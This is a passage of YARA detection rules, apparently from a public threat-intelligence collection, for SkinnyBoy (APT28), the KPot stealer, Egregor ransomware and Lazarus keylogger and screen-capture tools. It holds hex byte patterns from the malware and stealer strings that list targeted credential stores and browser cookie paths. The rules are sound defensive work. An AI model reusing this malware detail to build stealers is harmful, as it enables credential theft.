		$s2 = { 33 d2 8b c1 b9 00 00 20 00 f7 f1 33 c9 89 8d e4 fe ff ff 3b ca 89 95 b8 fe ff ff 1b d2 f7 da 03 d0 89 95 c4 fe ff ff 0f 84 98 02 00 00 8b ff 8b b5 b8 fe ff ff 85 f6 74 09 8d 42 ff 8b fe 3b c8 74 05 bf 00 00 20 00 57 6a 08 ff 15 b4 b0 00 10 50 ff 15 ec b0 00 10 8b 8d e4 fe ff ff 0f af cf 03 8d d0 fe ff ff 57 8b f0 51 56 89 b5 ec fe ff ff e8 c9 6c 00 00 83 c4 0c 8d 85 f1 fe ff ff 68 03 01 00 00 6a 00 50 c6 85 f0 fe ff ff 00 e8 1c 31 00 00 8b 85 e4 fe ff ff 83 c4 0c 40 6a 00 ff b5 c4 fe ff ff 8b d0 8d 8d f0 fe ff ff 89 85 e4 fe ff ff e8 27 f5 ff ff 83 c4 08 8d 85 e0 fe ff ff 50 6a 00 6a 01 57 56 c7 85 e0 fe ff ff 00 00 00 00 ff 15 24 b0 00 10 85 c0 74 4c ff b5 e0 fe ff ff 6a 08 ff 15 b4 b0 00 10 50 ff 15 ec b0 00 10 8b f0 8d 85 e0 fe ff ff 50 56 6a 01 57 8b bd ec fe ff ff 57 ff 15 24 b0 00 10 57 6a 00 ff 15 b4 b0 00 10 50 a1 b8 b0 00 10 ff d0 8b bd e0 fe ff ff 89 b5 ec fe ff ff 8d b5 f0 fe ff ff 8d 4e 01 8a 06 46 84 c0 75 f9 2b f1 8d 04 3e 50 6a 08 89 85 c8 fe ff ff ff 15 b4 b0 00 10 50 ff 15 ec b0 00 10 56 8d 8d f0 fe ff ff 51 50 89 85 bc fe ff ff e8 d8 6b 00 00 8b 8d bc fe ff ff 83 c4 0c 03 ce 57 8b bd ec fe ff ff 57 51 e8 bf 6b 00 00 83 c4 0c 57 6a 00 ff 15 b4 b0 00 10 50 ff 15 b8 b0 00 10 56 8d 85 f0 fe ff ff 6a 00 50 e8 0d 30 00 00 8b b5 c0 fe ff ff 8b bd bc fe ff ff 83 c4 0c 8d 8d d4 fe ff ff 56 ff b5 c8 fe ff ff 57 e8 fb f0 ff ff 85 c0 0f 84 c9 00 00 00 85 f6 0f 84 c1 00 00 00 8b 85 d4 fe ff ff 8b 35 e8 b1 00 10 85 }
		$s3 = { 55 8b ec 83 e4 f8 81 ec 34 02 00 00 a1 00 00 01 10 33 c4 89 84 24 30 02 00 00 53 56 57 6a ff ff 35 28 1b 01 10 ff 15 4c b0 00 10 ff 35 28 1b 01 10 ff 15 80 b0 00 10 8b 35 b8 b0 00 10 8b 3d b4 b0 00 10 8d 44 24 10 50 8d 54 24 10 c7 44 24 10 00 00 00 00 c7 44 24 14 00 00 00 00 e8 df 0a 00 00 8b 4c 24 14 83 c4 04 85 c9 0f 84 e6 02 00 00 8b 54 24 0c 33 c0 33 db c7 44 24 20 00 00 00 00 89 44 24 1c 85 c9 0f 84 c2 02 00 00 8d 64 24 00 8b 34 13 8d 04 13 56 6a 08 ff d7 50 ff 15 ec b0 00 10 8b c8 8b 44 24 0c 83 c0 04 56 03 c3 50 51 89 4c 24 24 e8 a7 7e 00 00 8b 44 24 18 03 c3 83 c4 0c 8b 44 06 04 50 6a 08 89 44 24 1c ff d7 50 ff 15 ec b0 00 10 ff 74 24 14 8b f8 8b 44 24 10 03 c3 83 c6 08 03 c6 50 57 e8 72 7e 00 00 83 c4 0c 68 04 01 00 00 6a 08 ff 15 b4 b0 00 10 50 ff 15 ec b0 00 10 68 00 00 00 f0 6a 18 6a 00 8b f0 6a 00 8d 44 24 34 50 c7 44 24 38 00 00 00 00 c7 44 24 3c 00 00 00 00 ff 15 18 b0 00 10 }
		$s4 = { ff 15 a4 b0 00 10 8d 44 24 28 50 6a 00 6a 00 68 0c 80 00 00 ff 74 24 34 ff 15 14 b0 00 10 ff 15 a4 b0 00 10 6a 00 ff 74 24 18 57 ff 74 24 34 ff 15 0c b0 00 10 ff 15 a4 b0 00 10 6a 00 8d 44 24 30 50 56 6a 02 ff 74 24 38 c7 44 24 40 04 01 00 00 ff 15 10 b0 00 10 ff 74 24 28 ff 15 00 b0 00 10 6a 00 ff 74 24 28 ff 15 04 b0 00 10 8b 54 24 2c 8b 44 24 18 }
		$s5 = { 50 68 04 01 00 00 ff 15 a8 b0 00 10 8d 44 24 30 50 ff 15 a0 b1 00 10 68 18 ee 00 10 8d 44 24 34 50 ff 15 9c b0 00 10 b8 4d 5a 00 00 66 39 07 0f 85 b2 00 00 00 6a 00 68 80 00 00 00 6a 04 6a 00 6a 02 68 00 00 00 40 8d 44 24 48 50 ff 15 40 b0 00 10 8b f0 ff 15 a4 b0 00 10 83 fe }
		$s6 = { 6a 00 8d 44 24 28 50 ff 74 24 1c c7 44 24 30 00 00 00 00 57 56 ff 15 38 b0 00 10 56 ff 15 44 b0 00 10 68 80 00 00 00 8d 44 24 34 50 ff 15 48 b0 00 10 8d 44 24 30 50 ff 15 a4 b1 00 10 85 c0 74 2d 8d 44 24 30 50 ff 15 b0 b0 00 10 8b f0 6a 01 56 ff 15 a0 b0 00 10 8d 4c 24 20 51 a3 20 1b 01 10 ff d0 56 89 44 24 20 ff 15 f4 b0 00 10 e8 ad f3 ff ff 57 8b 3d b4 b0 00 10 6a 00 ff d7 8b 35 b8 b0 00 10 50 ff d6 ff 74 24 18 6a 00 ff d7 50 ff d6 8b 44 24 1c 85 c0 74 12 8b 54 24 20 50 b9 4c ef 00 10 e8 77 0c 00 00 83 c4 04 8b 54 24 0c 8b 0c 13 8d 04 13 8d 04 19 83 c3 08 8b 44 10 04 03 c1 03 d8 3b 5c 24 10 0f 82 42 fd ff ff 52 6a 00 ff d7 50 ff d6 68 00 dd 6d 00 ff 35 28 1b 01 10 ff 15 4c b0 00 10 85 c0 0f 85 d4 fc ff ff }
	condition:
		uint16( 0 ) == 0x5a4d and filesize > 40KB and 5 of ( $s* )
}

rule ARKBIRD_SOLG_MAL_Skinnyboy_Launcher_Jun_2021_1 : FILE
{
	meta:
		description = "Detect the Launcher of SkinnyBoy"
		author = "Arkbird_SOLG"
		id = "4e69cba4-92ef-5ea5-95d8-b22ed77f515c"
		date = "2021-06-05"
		modified = "2021-06-06"
		reference = "https://cluster25.io/wp-content/uploads/2021/05/2021-05_FancyBear.pdf"
		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-06-06/APT28/MAL_SkinnyBoy_Launcher_Jun_2021_1.yara#L1-L19"
		license_url = "N/A"
		logic_hash = "4d5906832a1bc90552255ada1cc9e3c7cd3e14e4b0cb11b1bf2c11c57bca8ad8"
		score = 75
		quality = 75
		tags = "FILE"
		hash1 = "2a652721243f29e82bdf57b565208c59937bbb6af4ab51e7b6ba7ed270ea6bce"
		tlp = "White"
		adversary = "APT28"
	strings:
		$s1 = { 55 8b ec 83 e4 f8 81 ec bc 06 00 00 a1 00 e0 40 00 33 c4 89 84 24 b8 06 00 00 53 56 57 33 c0 68 06 02 00 00 50 66 89 84 24 b8 02 00 00 8d 84 24 ba 02 00 00 50 8b f1 e8 64 31 00 00 8b 1d 28 90 40 00 0f 57 c0 83 c4 0c 8d 84 24 9c 02 00 00 50 c7 84 24 a0 02 00 00 79 00 00 00 66 0f d6 84 24 a4 02 00 00 66 0f d6 84 24 ac 02 00 00 c7 84 24 78 02 00 00 57 00 00 00 66 0f d6 84 24 7c 02 00 00 66 0f d6 84 24 84 02 00 00 ff d3 8b d0 33 c9 89 15 38 fb 40 00 85 d2 74 1b 8d 9b 00 00 00 00 66 8b 84 4c 74 02 00 00 66 31 84 4c 9c 02 00 00 41 3b ca 72 eb a1 80 cd 40 00 89 84 24 88 02 00 00 0f b7 05 84 cd 40 00 66 89 84 24 8c 02 00 00 a1 88 cd 40 00 89 84 24 74 02 00 00 0f b7 05 8c cd 40 00 66 89 84 24 78 02 00 00 0f 57 c0 8d 84 24 88 02 00 00 50 66 0f d6 84 24 92 02 00 00 c7 84 24 9a 02 00 00 00 00 00 00 66 c7 84 24 9e 02 00 00 00 00 66 0f d6 84 24 7e 02 00 00 c7 84 24 86 02 00 00 00 00 00 00 66 c7 84 24 8a 02 00 00 00 00 ff d3 8b d0 33 c9 89 15 38 fb 40 00 }
		$s2 = { 66 8b 84 4c 74 02 00 00 66 31 84 4c 88 02 00 00 41 3b ca 72 eb 6a 64 6a 08 ff 15 30 90 40 00 50 ff 15 34 90 40 00 8b 1d 3c 90 40 00 89 44 24 0c 56 8d 84 24 b4 02 00 00 50 ff d3 8b 3d 44 91 40 00 8d 84 24 b0 02 00 00 50 ff d7 68 90 cd 40 00 8d 84 24 b4 02 00 00 50 ff d3 8d 44 24 20 50 8d 84 24 b4 02 00 00 50 ff 15 40 90 40 00 8b f0 8d 84 24 b0 02 00 00 50 89 74 24 14 ff 15 40 91 40 00 8d 84 24 b0 02 00 00 50 ff d7 83 fe ff 0f 84 21 02 00 00 8b 35 2c 90 40 00 8d 9b 00 00 00 00 8d 84 24 9c 02 00 00 50 8d 44 24 50 50 ff d6 85 }
		$s3 = { ff 15 20 90 40 00 8d 44 24 14 50 6a 00 6a 00 68 0c 80 00 00 ff 74 24 28 ff 15 04 90 40 00 ff 15 20 90 40 00 6a 00 56 8d 44 24 54 50 ff 74 24 20 ff 15 14 90 40 00 ff 15 20 90 40 00 6a 00 8d 44 24 20 50 ff 74 24 14 c7 44 24 28 64 00 00 00 6a 02 ff 74 24 24 ff 15 10 90 40 00 ff 74 24 14 ff 15 00 90 40 00 6a 00 ff 74 24 1c ff 15 0c 90 40 00 8b 74 24 1c 8b 4c 24 0c ba 90 ed 40 00 83 ee }
		$s4 = { 0f b7 8c 05 f8 fd ff ff 66 31 8c 05 f8 fe ff ff 0f b7 8c 05 fa fd ff ff 66 31 8c 05 fa fe ff ff 0f b7 8c 05 fc fd ff ff 66 31 8c 05 fc fe ff ff 0f b7 8c 05 fe fd ff ff 66 31 8c 05 fe fe ff ff 83 c0 08 3d 00 01 00 00 72 b6 56 8d 85 f8 fe ff ff 50 8d 85 f0 fb ff ff 68 08 02 00 00 50 e8 ed 04 00 00 6a 44 8d 85 98 fb ff ff 6a 00 50 e8 ed 31 00 00 83 c4 1c 8d 85 e0 fb ff ff 50 8d 85 98 fb ff ff 50 6a 00 6a 00 68 00 00 00 08 6a 00 6a 00 6a 00 8d 85 f0 fb ff ff 50 6a 00 c7 85 98 fb ff ff 44 00 00 00 ff 15 38 90 40 00 8b 4d fc 33 cd 5e e8 b9 04 00 00 8b e5 }
		$s5 = { 55 8b ec 81 ec 6c 04 00 00 a1 00 e0 40 00 33 c5 89 45 fc 56 33 c0 68 06 02 00 00 50 66 89 85 f0 fb ff ff 8d 85 f2 fb ff ff 50 8b f1 e8 8f 33 00 00 68 04 01 00 00 8d 85 f0 fb ff ff 6a 00 50 e8 7c 33 00 00 83 c4 18 56 ff 15 48 91 40 00 85 c0 0f 84 b6 01 00 00 b8 69 00 00 00 68 d2 00 00 00 66 89 85 24 ff ff ff 8d 85 26 ff ff ff 6a 00 50 c7 85 f8 fe ff ff 1f 00 16 00 c7 85 fc fe ff ff 0b 00 22 00 c7 85 00 ff ff ff 78 00 7c 00 c7 85 04 ff ff ff 00 00 55 00 c7 85 08 ff ff ff 5b 00 2e 00 c7 85 0c ff ff ff 3f 00 03 00 c7 85 10 ff ff ff 04 00 04 00 c7 85 14 ff ff ff 0d 00 15 00 c7 85 18 ff ff ff 47 00 44 00 c7 85 1c ff ff ff 47 00 14 00 c7 85 20 ff ff ff 09 00 68 00 e8 dd 32 00 00 f3 0f 7e 05 48 cd 40 00 66 0f d6 85 f8 fd ff ff f3 0f 7e 05 50 cd 40 00 66 0f d6 85 00 fe ff ff f3 0f 7e 05 58 cd 40 00 66 0f d6 85 08 fe ff ff f3 0f 7e 05 60 cd 40 00 66 0f d6 85 10 fe ff ff f3 0f 7e 05 68 cd 40 00 68 d0 00 00 00 66 0f d6 85 18 fe ff ff f3 0f 7e 05 70 cd 40 00 8d 85 28 fe ff ff 6a 00 50 66 0f d6 85 20 fe ff ff e8 6a 32 00 00 83 c4 18 33 }
		$s6 = { 0f b7 8c 05 f8 fd ff ff 66 31 8c 05 f8 fe ff ff 0f b7 8c 05 fa fd ff ff 66 31 8c 05 fa fe ff ff 0f b7 8c 05 fc fd ff ff 66 31 8c 05 fc fe ff ff 0f b7 8c 05 fe fd ff ff 66 31 8c 05 fe fe ff ff 83 c0 08 3d 00 01 00 00 72 b6 56 8d 85 f8 fe ff ff 50 8d 85 f0 fb ff ff 68 08 02 00 00 50 e8 ed 04 00 00 6a 44 8d 85 98 fb ff ff 6a 00 50 e8 ed 31 00 00 83 c4 1c 8d 85 e0 fb ff ff 50 8d 85 98 fb ff ff 50 6a 00 6a 00 68 00 00 00 08 6a 00 6a 00 6a 00 8d 85 f0 fb ff ff 50 6a 00 c7 85 98 fb ff ff 44 00 00 00 ff 15 38 90 40 00 8b 4d fc 33 cd 5e e8 b9 04 00 00 8b e5 }
	condition:
		uint16( 0 ) == 0x5a4d and filesize > 40KB and 5 of ( $s* )
}

rule ARKBIRD_SOLG_MAL_Skinnyboy_Dropper_Jun_2021_1 : FILE
{
	meta:
		description = "Detect SkinnyBoy Dropper"
		author = "Arkbird_SOLG"
		id = "1ea4cfe7-d44d-5cdb-8436-cb2b09dd2e56"
		date = "2021-05-01"
		modified = "2021-06-06"
		reference = "https://cluster25.io/wp-content/uploads/2021/05/2021-05_FancyBear.pdf"
		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-06-06/APT28/MAL_SkinnyBoy_Dropper_Jun_2021_1.yara#L1-L19"
		license_url = "N/A"
		logic_hash = "805bc5bb5833a75d68df2a6ce828d70b2257809a3699fdca5e621aae6bdc5070"
		score = 75
		quality = 73
		tags = "FILE"
		hash1 = "12331809c3e03d84498f428a37a28cf6cbb1dafe98c36463593ad12898c588c9"
		tlp = "White"
		adversary = "APT28"
	strings:
		$s1 = { 55 8b ec b8 48 12 00 00 e8 a3 52 00 00 a1 00 d0 40 00 33 c5 89 45 fc 56 57 68 08 02 00 00 8d 85 cc ed ff ff 50 51 ff 15 2c 80 40 00 6a 00 68 80 00 00 00 6a 03 6a 00 6a 01 68 00 00 00 80 8d 85 cc ed ff ff 50 c7 85 b8 ed ff ff 00 00 00 00 ff 15 18 80 40 00 8b f0 ff 15 1c 80 40 00 8b f8 83 fe ff 74 12 6a 00 56 ff 15 58 80 40 00 56 8b f8 ff 15 20 80 40 00 8d 85 c8 ed ff ff 50 8d 95 b8 ed ff ff 8d 8d cc ed ff ff 89 bd c8 ed ff ff e8 bc fd ff ff 8b bd b8 ed ff ff b8 4d 5a 00 00 83 c4 04 66 39 07 74 1b 68 c1 00 00 00 ff 15 34 80 40 00 5f 5e 8b 4d fc 33 cd e8 fe 08 00 00 8b e5 }
		$s2 = { 8b 47 3c 81 3c 07 50 45 00 00 75 d9 8b 47 1c 8b b5 c8 ed ff ff 8b 4f 20 2b f0 85 c9 74 04 8b f1 2b f0 53 56 6a 08 ff 15 0c 80 40 00 50 ff 15 08 80 40 00 8b 4f 1c 56 03 cf 8b d8 51 53 89 9d c4 ed ff ff e8 96 5d 00 00 68 08 02 00 00 8d 85 f4 f9 ff ff 6a 00 50 e8 33 25 00 00 83 c4 18 8d 85 f4 f9 ff ff 50 6a 00 6a 00 68 1c 80 00 00 6a 00 ff 15 30 81 40 00 b8 18 00 00 00 68 ee 00 00 00 66 89 85 0c fc ff ff 8d 85 0e fc ff ff 6a 00 50 c7 85 fc fb ff ff 00 00 3f 00 c7 85 00 fc ff ff 47 00 5b 00 c7 85 04 fc ff ff 09 00 19 00 c7 85 08 fc ff ff 08 00 0d 00 e8 d1 24 00 00 f3 0f 7e 05 c4 bd 40 00 a1 d4 bd 40 00 68 ec 00 00 00 89 85 0c ff ff ff 66 0f d6 85 fc fe ff ff f3 0f 7e 05 cc bd 40 00 8d 85 10 ff ff ff 6a 00 50 66 0f d6 85 04 ff ff ff e8 93 24 00 00 83 c4 18 33 }
		$s3 = { 0f b7 8c 05 fc fe ff ff 66 31 8c 05 fc fb ff ff 0f b7 8c 05 fe fe ff ff 66 31 8c 05 fe fb ff ff 0f b7 8c 05 00 ff ff ff 66 31 8c 05 00 fc ff ff 0f b7 8c 05 02 ff ff ff 66 31 8c 05 02 fc ff ff 83 c0 08 3d 00 01 00 00 72 b6 8d 85 f4 f9 ff ff 50 ff 15 38 81 40 00 8d 85 fc fb ff ff 50 8d 85 f4 f9 ff ff 50 ff 15 40 80 40 00 6a 00 8d 85 f4 f9 ff ff 50 ff 15 28 80 40 00 68 d8 00 00 00 8d 85 24 fe ff ff 6a 00 50 c7 85 fc fd ff ff 1f 00 33 00 c7 85 00 fe ff ff 58 00 4e 00 c7 85 04 fe ff ff 5d 00 1b 00 c7 85 08 fe ff ff 59 00 27 00 c7 85 0c fe ff ff 70 00 2d 00 c7 85 10 fe ff ff 16 00 13 00 c7 85 14 fe ff ff 03 00 1c 00 c7 85 18 fe ff ff 0d 00 2a 00 c7 85 1c fe ff ff 07 00 51 00 c7 85 20 fe ff ff 08 00 13 00 e8 8f 23 00 00 f3 0f 7e 05 d8 bd 40 00 66 a1 00 be 40 00 66 0f d6 85 fc fe ff ff f3 0f 7e 05 e0 bd 40 00 66 0f d6 85 04 ff ff ff f3 0f 7e 05 e8 bd 40 00 66 0f d6 85 0c ff ff ff f3 0f 7e 05 f0 bd 40 00 68 d6 00 00 00 66 89 85 24 ff ff ff 66 0f d6 85 14 ff ff ff f3 0f 7e 05 f8 bd 40 00 8d 85 26 ff ff ff 6a 00 50 66 0f d6 85 1c ff ff ff e8 1f 23 00 00 83 c4 18 33 }
		$s4 = { 0f b7 84 0d fc fe ff ff 66 31 84 0d fc fc ff ff 0f b7 84 0d fe fe ff ff 66 31 84 0d fe fc ff ff 0f b7 84 0d 00 ff ff ff 66 31 84 0d 00 fd ff ff 0f b7 84 0d 02 ff ff ff 66 31 84 0d 02 fd ff ff 83 c1 08 81 f9 00 01 00 00 72 b5 8d 85 f4 f9 ff ff 50 ff 15 38 81 40 00 8d 85 fc fc ff ff 50 8d 85 f4 f9 ff ff 50 ff 15 40 80 40 00 6a 00 6a 00 8d 85 c0 ed ff ff 50 6a 00 6a 01 56 53 8b 1d 00 80 40 00 c7 85 c0 ed ff ff 00 00 00 00 ff d3 ff b5 c0 ed ff ff 6a 08 ff 15 0c 80 40 00 50 ff 15 08 80 40 00 6a 00 6a 00 8d 8d c0 ed ff ff 51 50 6a 01 56 ff b5 c4 ed ff ff 89 85 bc ed ff ff ff d3 8b 85 c0 ed ff ff 6a 00 68 80 00 00 00 6a 04 6a 00 6a 02 89 85 b8 ed ff ff 68 00 00 00 40 8d 85 f4 f9 ff ff 50 ff 15 18 80 40 00 8b f0 ff 15 1c 80 40 00 8b 1d 38 80 40 00 83 fe ff 74 55 3d b7 00 00 00 75 0b 6a 00 6a 00 6a 00 56 ff }
		$s5 = { 55 8b ec 83 ec 0c a1 00 d0 40 00 33 c5 89 45 fc 53 8b 5d 08 56 57 6a 00 68 80 00 00 00 6a 03 6a 00 6a 01 68 00 00 00 80 51 89 55 f4 ff 15 18 80 40 00 8b f0 ff 15 1c 80 40 00 8b f8 83 fe ff 74 67 83 ff 02 74 62 6a 00 56 ff 15 58 80 40 00 89 03 85 c0 74 47 c7 45 f8 00 00 00 00 ff 15 0c 80 40 00 ff 33 6a 08 50 ff 15 08 80 40 00 8b 4d f4 6a 00 89 01 8d 4d f8 51 ff 33 50 56 ff 15 14 80 40 00 56 ff 15 20 80 40 00 8b c7 5f 5e 5b 8b 4d fc 33 cd e8 d4 0a 00 00 8b e5 }
		$s6 = { 54 56 71 51 41 41 4d 41 41 41 41 45 41 41 41 41 2f 2f }
	condition:
		uint16( 0 ) == 0x5a4d and filesize > 40KB and 5 of ( $s* )
}

rule ARKBIRD_SOLG_MAL_Kpot_Oct_2020_1 : FILE
{
	meta:
		description = "Detect KPot stealer (new variant October 2020)"
		author = "Arkbird_SOLG"
		id = "316feeb3-59e5-5d18-9800-db41fabd6cb0"
		date = "2020-10-17"
		modified = "2020-10-17"
		reference = "Internal Research"
		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-10-17/MAL_KPot_Oct_2020_1.yar#L1-L40"
		license_url = "N/A"
		logic_hash = "20010e8f2d45f904911664edee710f4dca18327c2b80766c253970a50624d13c"
		score = 75
		quality = 73
		tags = "FILE"
		hash1 = "028ec268176707aadc2cf8e65a28236cbed214f9fd65fc3346ee34e859e50057"
	strings:
		$olds1 = "%s | %s | %s | %s | %s | %s | %s | %d | %s" fullword ascii
		$olds2 = "%s\\%s\\%s\\%.6s_%d.dat" fullword wide
		$olds3 = "%s\\%s\\%s-Qt" fullword wide
		$olds4 = "%s\\%s\\%.6ss" fullword wide
		$olds5 = "%s\\%s\\%s.vdf" fullword wide
		$olds6 = "https://%S/a/%S" fullword wide
		$olds7 = { 4e 00 61 00 6d 00 65 00 3a 00 09 00 25 00 6c 00 73 00 0d 00 0a 00 43 00 6f 00 6d 00 6d 00 65 00 6e 00 74 00 3a 00 20 00 25 00 6c 00 73 00 0d 00 0a 00 55 00 73 00 65 00 72 00 3a 00 09 00 25 00 6c 00 73 00 0d 00 0a 00 44 00 61 00 74 00 61 00 3a 00 20 00 0d 00 0a 00 00 00 00 00 25 00 32 00 2e 00 32 00 58 00 20 00 00 00 00 00 25 00 2d 00 35 00 30 00 73 00 20 00 25 00 73 }
		$debug1 = "4|Remote Desktop|%s|%s|%s|" fullword ascii
		$debug2 = "1|TotalCommander|%s|%s|%s|" fullword ascii
		$debug3 = "1|FileZilla|%s:%s|%s|%S|" fullword ascii
		$debug4 = "5|Windows Mail|%s|%s|%s|" fullword ascii
		$debug5 = "5|Outlook|%s:%d|%s|%s|" fullword ascii
		$debug6 = "1|WS_FTP|%s|%s|%S|" fullword ascii
		$debug7 = "1|WinSCP|%s|%s|%s|" fullword ascii
		$debug8 = "3|Pidgin|%s|%s|%s|" fullword ascii
		$debug9 = "3|Psi(+)|%s|%s|%s|" fullword ascii
		$debug10 = "2|EarthVPN||%s|%s|" fullword ascii
		$debug11 = "2|NordVPN||%s|%s|" fullword ascii
		$debug12 = "0|%s|%S|%s|%s|%s" fullword ascii
		$debug13 = "0|%S|%s|%s|%s|%S" fullword ascii
		$debug14 = "0|%s|%s|%s|%s|" fullword ascii
		$debug15 = "Masked|%s|%02d/%04d|%s|%s|%s" fullword ascii
		$op1 = "{53F49750-6209-4FBF-9CA8-7A333C87D1ED}_is1" fullword ascii
		$op2 = { 25 73 0d 0a 25 73 0d 0a 56 69 73 69 74 73 20 63 6f 75 6e 74 3a 20 25 64 0d 0a 4c 61 73 74 20 76 69 73 69 74 3a 20 5b 25 64 2d 25 30 32 64 2d 25 30 32 64 20 25 30 32 64 3a 25 30 32 64 3a 25 30 32 64 5d 0d 0a 0d 0a 00 42 72 6f 77 73 65 72 73 5c 48 69 73 74 6f 72 79 5c 25 73 2e 74 78 74 00 42 72 6f 77 73 65 72 73 5c 41 75 74 6f 66 69 6c 6c 5c 25 73 2e 74 78 74 00 00 00 00 42 72 6f 77 73 65 72 73 5c 43 6f 6f 6b 69 65 73 5c 25 73 2e 74 78 74 }
		$op3 = "abe2869f-9b47-4cd9-a358-c22904dba7f7" fullword ascii
		$op4 = "monero-project" fullword ascii
	condition:
		uint16( 0 ) == 0x5a4d and filesize > 120KB and 4 of ( $olds* ) and 10 of ( $debug* ) and 2 of ( $op* )
}

rule ARKBIRD_SOLG_Ran_Egregor_Sept_2020_1 : FILE
{
	meta:
		description = "Detect Egregor ransomware (variant Sept2020)"
		author = "Arkbird_SOLG"
		id = "b44b93ec-b470-511e-b08f-7d83efd30ecc"
		date = "2020-10-07"
		modified = "2020-10-16"
		reference = "Internal Research"
		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-10-16/Ran_Egregor_Sept_2020_1.yar#L1-L22"
		license_url = "N/A"
		logic_hash = "4ce7398cc6ad0538735aec6490204122690f029cbb8d20f9efd2f612955f106b"
		score = 75
		quality = 75
		tags = "FILE"
		hash1 = "4c9e3ffda0e663217638e6192a093bbc23cd9ebfbdf6d2fc683f331beaee0321"
		hash2 = "aee131ba1bfc4b6fa1961a7336e43d667086ebd2c7ff81029e14b2bf47d9f3a7"
		hash3 = "3fd510a3b2e0b0802d57cd5b1cac1e61797d50a08b87d9b5243becd9e2f7073f"
		hash4 = "9c900078cc6061fb7ba038ee5c065a45112665f214361d433fc3906bf288e0eb"
		hash5 = "a376fd507afe8a1b5d377d18436e5701702109ac9d3e7026d19b65a7d313b332"
	strings:
		$x1 = "dmocx.dll" fullword ascii
		$s2 = "C:\\Logmein\\{888-8888-9999}\\Logmein.log" fullword wide
		$s3 = "M:\\sc\\p\\testbuild.pdb" fullword ascii
		$s4 = "Type Descriptor'" fullword ascii
		$s5 = "=$=`=h=p=t=x=|=" fullword ascii
		$s6 = "--nop" fullword wide
		$s7 = "9,94989@9X9" fullword ascii
	condition:
		uint16( 0 ) == 0x5a4d and filesize > 200KB and 1 of ( $x* ) and 4 of ( $s* )
}

rule ARKBIRD_SOLG_APT_NK_Lazarus_Stealer_Screencapture_June_2020_1 : FILE
{
	meta:
		description = "Detect ScreenCapture malware used by Lazarus APT"
		author = "Arkbird_SOLG, James_inthe_box"
		id = "bb0463ac-6219-5a12-b3d2-fc82800bda69"
		date = "2020-06-23"
		modified = "2021-07-13"
		reference = "https://twitter.com/GR_CTI/status/1275164880992186371"
		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-06-23/APT_Lazarus_Stealer_June_2020_1.yar#L3-L31"
		license_url = "N/A"
		logic_hash = "66f8d3da0f70f6c4ed6f853ab4040d7f96c043e9e194f1720999b48910b3e756"
		score = 75
		quality = 75
		tags = "FILE"
		hash1 = "6caa98870efd1097ee13ae9c21c6f6c9202a19ad049a9e65c60fce5c889dc4c8"
	strings:
		$s1 = "E:\\workspace\\VS\\crat_2\\client\\Build\\Win32\\DllRelease\\ScreenCapture_Win32_DllRelease.pdb" fullword ascii
		$s2 = "CloseHandle ScreenCaptureMutex failure! %d" fullword ascii
		$s3 = "ScreenCapture_Win32_DllRelease.dll" fullword ascii
		$s4 = "ScreenCaptureMutex already created! %s\n" fullword ascii
		$s5 = "Capturing screen...\n" fullword ascii
		$s6 = "%s\\P%02d%lu.tmp" fullword ascii
		$s7 = "ScreenCaptureThread finished!" fullword ascii
		$s8 = "ScreenCaptureThread started!" fullword ascii
		$s9 = "ScreenCapture start time set to %llu" fullword ascii
		$s10 = "ScreenCaptureMutex already created! %s\n" fullword ascii
		$s11 = "Major=%d, Minor=%d, Build=%d, Arch=%d" fullword ascii
		$s12 = "Can't create file %s, errno = %d, nCreateRetryCount = %d" fullword ascii
		$s13 = "ExploreDirectory, csDirectoryPath = %s, dwError=%d" fullword ascii
		$s14 = "[END] ScreenCaptureThread terminated!" fullword ascii
		$s15 = { 25 00 2d 00 32 00 30 00 73 00 20 00 20 00 20 00 25 00 31 00 30 00 6c 00 6c 00 75 00 20 00 62 00 79 00 74 00 65 00 73 }
		$s16 = { 57 00 72 00 6f 00 74 00 65 00 20 00 25 00 64 00 20 00 62 00 79 00 74 00 65 00 73 00 20 00 74 00 6f 00 20 00 66 00 69 00 6c 00 65 00 20 00 25 00 73 }
		$s17 = "Entered Windows direcotry, skipping..." fullword ascii
		$s18 = "Found %d entries." fullword ascii
	condition:
		uint16( 0 ) == 0x5a4d and filesize < 80KB and 14 of them
}

rule ARKBIRD_SOLG_APT_NK_Lazarus_Stealer_Keylog_June_2020_1 : FILE
{
	meta:
		description = "Detect keylog malware used by Lazarus APT"
		author = "Arkbird_SOLG, James_inthe_box"
		id = "dd6aae8c-76d1-514d-905e-21472eb9b9b2"
		date = "2020-06-23"
		modified = "2021-07-13"
		reference = "https://twitter.com/GR_CTI/status/1275164880992186371"
		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-06-23/APT_Lazarus_Stealer_June_2020_1.yar#L33-L58"
		license_url = "N/A"
		logic_hash = "9a4e17903ad2a7c80651aa8f3d57876d1621be06ba7a683135b11929b232b2fa"
		score = 75
		quality = 75
		tags = "FILE"
		hash1 = "6d461bf3e3ca68b2d6d850322b79d5e3e647b0d515cb10449935bf6d77d7d5f2"
	strings:
		$s1 = "E:\\workspace\\VS\\crat_2\\client\\Build\\Win32\\DllRelease\\KeyLog_Win32_DllRelease.pdb" fullword ascii
		$s2 = "CloseHandle KeyLogMutex failure! %d" fullword ascii
		$s3 = "KeyLog_Win32_DllRelease.dll" fullword ascii
		$s4 = "Key Log Mutex already created! %s\n" fullword ascii
		$s5 = "Unable to GetProcAddress of GetAsyncKeyState" fullword ascii
		$s6 = "KeyLogThread finished!" fullword ascii
		$s7 = "KeyLogThread started!" fullword ascii
		$s8 = "Major=%d, Minor=%d, Build=%d, Arch=%d" fullword ascii
		$s9 = "Can't create file %s, errno = %d, nCreateRetryCount = %d" fullword ascii
		$s10 = "ExploreDirectory, csDirectoryPath = %s, dwError=%d" fullword ascii
		$s11 = "[END] KeyLogThread terminated!" fullword ascii
		$s12 = { 25 00 2d 00 32 00 30 00 73 00 20 00 20 00 20 00 25 00 31 00 30 00 6c 00 6c 00 75 00 20 00 62 00 79 00 74 00 65 00 73 }
